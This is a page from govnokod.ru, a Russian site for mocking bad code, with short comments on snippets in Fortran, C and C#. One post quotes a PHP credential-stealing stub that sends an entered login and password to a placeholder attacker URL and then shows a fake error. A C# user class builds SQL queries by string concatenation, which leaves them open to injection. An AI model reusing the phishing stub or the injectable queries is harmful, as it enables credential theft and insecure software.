- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
Subroutine HBomb(x,ia,ib)
Dimension x(*)
c Generate some exeption...
x(ia*ib)=1.0
x(ia*(-ib))=1.0
x(1)=7.0/(ia+ib)
Return
End
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+130
Subroutine HBomb(x,ia,ib)
Dimension x(*)
c Generate some exeption...
x(ia*ib)=1.0
x(ia*(-ib))=1.0
x(1)=7.0/(ia+ib)
Return
End
Серьёзный квантовохимический пакет, между прочим.
Выше по течению этот кусок кода вызывали через call hbomb(x, 1000, -1000)
+130
char* obrab_stroki(char*, int);
int move(char*);
int action_register(char*);
int speed(char*);
int condition(char*);
char answer1[25];
uint8_t Output[512];
uint32_t number_for_output=16;
typedef struct { char *name; uint8_t adress; } struct_label;
typedef struct { char *name; uint8_t adress; } struct_goto_label;
//----------------------------------------------------------------------------------------
while (strcmp(qwerty[++string_count],""))
{
str=obrab_stroki(qwerty[string_count], 0);
printf("s:%s\n",str);
if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"{")) fig_skob++;
if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"}")) fig_skob--;
if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"{") && !strcmp(str,"if")) { fig_skob_if++; adres_return[fig_skob_if]=number_for_output+3; }
if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"}") && fig_skob_if>0) { Output[adres_return[fig_skob_if]]=number_for_output; fig_skob_if--;}
if (fig_skob==0)
{
Output[number_for_output++]=0;
Output[number_for_output++]=0;
}
if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,":"))
{
label[number_label].name=qwerty[string_count];
label[number_label++].adress = number_for_output;
continue;
}
//-------------------------------------------------------------------------------------------
if (!strcmp(str,"r")) if (action_register(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
if (!strcmp(str,"move")) if (move(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
if (!strcmp(str,"speed")) if (speed(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
if (!strcmp(str,"if")) if (condition(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
//-----------------------------------------------------------------------------------------
char* obrab_stroki(char* qwerty, int i)
{
int count;
char asnwer1[25];
for (count=0; (qwerty[count+i]<='z' && qwerty[count+i]>='a') || (qwerty[count+i]<='Z' && qwerty[count+i]>='A'); count++)
{
answer1[count]=qwerty[count+i];
}
answer1[count]='\0';
return answer1;
}//тут как бы нет ошибок =)
//----------------------------------------------------------------------------------------------
if (qwerty[i]=='-')
{
if (qwerty[i+1]=='1' && qwerty[i+2]=='0')
{
Output[number_for_output++]=answer|MOTOR_SPEC_SPEED_DEC;
Output[number_for_output++]=0;
return 0;
}
else
return 1;
}
Человек писал компилятор. Самые эпичные моменты
+130
Я не жду чтобы меня плюсовали, но давайте сделаем небольшую игру, ломающую стереотипы?
Например рогалик в небольшое кол-во строк. В качестве главного героя можно взять крутого парня ломающего черепа.
+130
_punkPtr
+130
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
var alldir = Directory.GetDirectories(SearchIn.Text);
foreach (var s in alldir)
{
if(s.Split('\\').Last().IndexOf(SearchFor.Text) != -1)
{
string parent = Directory.GetParent(s).FullName;
string thisfolder = s.Split('\\').Last().Replace(SearchFor.Text, ReplaceTo.Text);
string fullpath = parent + "\\" + thisfolder;
Directory.Move(s, fullpath);
}
}
}
private void SearchIn_DoubleClick(object sender, EventArgs e)
{
if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)
{
SearchIn.Text = folderBrowserDialog1.SelectedPath;
}
}
}
Откопала свой хэллоу ворлд на шарпе.
Что забавно, больше всего здесь меня удручают названия переменных и компонентов.
+130
bool b1 = listForm != null ? listForm.AllowAddOther : false;
+130
PHP Devel Studio 2.0
Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
И если вы знаете языки программирования тогда для вас нет предела в этой программе!
Скрипт:
$edit1 = c('Form1->edit1')->text;
$edit2 = c('Form1->edit2')->text;
$combobox1 = c('Form1->combobox1')->inText;
$url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");
"Вирусы" на "PHP". Сбылась мечта идиота...
http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8
+130
class ProducerConsumer
{
private static Semaphore semaphore = new Semaphore(1, 2);
static object locker = new object();
static int product = 0;
private static bool work = true;
private static bool valueSet = false; // why??
private static void Producer() // производитель
{
while (work)
{
Console.WriteLine("Thread Producer start");
int sqr = 0;
semaphore.WaitOne(); // декрементируем счётчик семафора
for (int i = 0; i < 15; i++)
{
sqr = i * i;
}
lock (locker) // error
{
while (valueSet)
{
Thread.Yield();
}
product += sqr;
valueSet = true;
Console.WriteLine("Product put: " + sqr);
Console.WriteLine("Product now: " + product);
}
semaphore.Release(); // выход из семафора
Thread.Sleep(5000);
}
}
private static void Consumer() // потребитель
{
const int MAX = 5;
int[] arr = new int[MAX];
int result = 0;
Random rand = new Random();
while (work)
{
Console.WriteLine("Thread Consumer start");
semaphore.WaitOne();
for (int i = 0; i < 5; i++)
{
arr[i] = rand.Next(0, 1024);
}
for (int i = 0; i < 5; i++)
{
result += arr[i];
}
result /= 5;
while (!valueSet)
{
Thread.Yield();
}
lock (locker)
{
if (product - result > 0) // исключаем отриц.кол-ва продуктов
{
product -= result;
Console.WriteLine("Product get: " + result);
}
else
{
Console.WriteLine("Product < 0");
}
valueSet = false;
Console.WriteLine("Product now: " + product);
}
semaphore.Release();
Thread.Sleep(5000);
}
}
public static void Main()
{
Thread threadProducer = new Thread(Producer);
threadProducer.Start();
Thread threadConsumer = new Thread(Consumer);
threadConsumer.Start();
Thread.Sleep(5000);
Console.WriteLine("Main thread start.");
String str = System.Console.ReadLine();
Console.ReadKey();
}
}
Корявый пример решения задачи "Producer-Consumer".
+130
class Users : Data
{
public int ID { get; set; }
public string Name { get; set; }
public int PostID { get; set; }
public int SubdivID { get; set; }
public QueryType qType { get; set; }
public static QueryState qState { get; set; }
/// <summary>
/// Типы запроса для QueryBuilder
/// </summary>
public enum QueryType : int
{
Insert = 1,
Delete,
Update,
SelectUsers,
SelectUser,
SelectUsersbyName
}
/// <summary>
/// Статусы открытия формы (добавление или редактирование)
/// </summary>
public enum QueryState : int
{
Insert = 1,
Update
}
public Users()
{
ID = -1;
Name = null;
}
/// <summary>
/// Формирует запрос на основе значения переменной qType и осуществляет выборку данных
/// </summary>
public void QueryBuilder()
{
switch (qType)
{
case QueryType.SelectUsers:
{
QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name from Users, Posts, Subdivisions Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID";
Select();
break;
}
case QueryType.SelectUser:
{
if (ID != -1)
{
QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name, Posts.ID, Subdivisions.ID From Users, Posts, Subdivisions " +
" Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID and Users.ID = " + ID;
SelectRow();
}
else
{
MessageBox.Show("ID пользователя не найден");
}
break;
}
case QueryType.Insert:
{
QueryText = "Insert Into Users(Name, PostID, SubdivID) Values('" + Name + "', '" + PostID + "', '" + SubdivID + "')";
InsertRecord();
break;
}
case QueryType.Delete:
{
QueryText = "Delete From Users Where ID = " + ID;
DeleteRecord();
break;
}
case QueryType.Update:
{
QueryText = "Update Users set Name = '" + Name + "', PostID = '" + PostID + "', SubdivID = '" + SubdivID + "' Where ID = " + ID;
UpdateRecord();
break;
}
case QueryType.SelectUsersbyName:
{
QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name from Users, Posts, Subdivisions " +
"Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID and Users.Name like " + "'%" + Name + "%'";
Select();
break;
}
}
}
15856 Продолжение...
+130
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO;
namespace SimpleLex
{
class Lexical
{
//Сюда передается путь к файлу конфигурации
public string Path = "";
//Определяем ключевые слова
string regular = "Color|Size|Name";
public void lexical()
{
//Создаем массив строк для дальнейшего заполнения
string[] conf = new string[1024];
//Переменная счетчик
int i = 0;
//Заполняем массив из файла
//Path мы присваиваем значение при создании
//объекта нашего класса.
conf = File.ReadAllLines(Path);
//Запускаем цикл чтения
while (conf.Length - 1 >= i)
{
// Создаем новый объект класса Regex
// и передаем ему в качестве конструктора
// cписок ключевых слов
Regex RegularExp = new Regex(regular);
//Начинаем поиск совпадений в текущей строке
Match match = RegularExp.Match(conf[i]);
while (match.Success)
{
//Ожидаем наличия совпадений
break;
//Если нашли то выпрыгиваем
}
switch (match.Value) // Смотрим что же мы обнаружили и вызываем соответствующий метод
{
case "Color":
//вызываем метод Color_
//и передаем ему текущую строку для разбора
//Предварительно удалив все пробелы с двух сторон
//если они были метод Trim()
Color_(conf[i].Trim());
i++;
break;
case "Size":
size_(conf[i].Trim());
i++;
break;
default:
//все другое пропускаем
i++;
break;
}
}
}
void Color_(string str)
{
int i = 0;
while (str.Substring(i,1)!= "=")
{
//Ищем разделитель в данном случае "="
i++;
}
//Находим и извлекаем нужную нам информацию
string value_ = str.Substring(i + 1, str.Length - (i+1)).Trim();
//Теперь все зависит от вашей фантазии хотите
//Создайте класс который будет устанавливать цвет шрифта
//И.т.д
Console.WriteLine(value_);
Console.ReadKey();
}
void size_(string str)
{
/*
* В этом методе я хочу показать как быть если вы используете
* в своем файле для каждой команды разные разделители
* в теории конечно можно все это засунуть в один метод
* Но я советую в дальнейшем если вы будите применять
* именно такую структуру передавать в метод тип разделителя
* и соответственно искать именно его другое дело если вы имеете
* различный формат входных данных как у нас параметр size имеет
* вид shize X=100,Y=500
*/
//Есть прекрасный метод
int i = 0;
while (str.Substring(i,1) != " ")
{
i++;
}
str = str.Substring(i, str.Length - i).Trim();
string[] commandMas = new string[3];
commandMas = str.Split(',');
(GetPrivateProfileString? Не, не слышал)
Лютый песдеzz с сайта vbbook.ru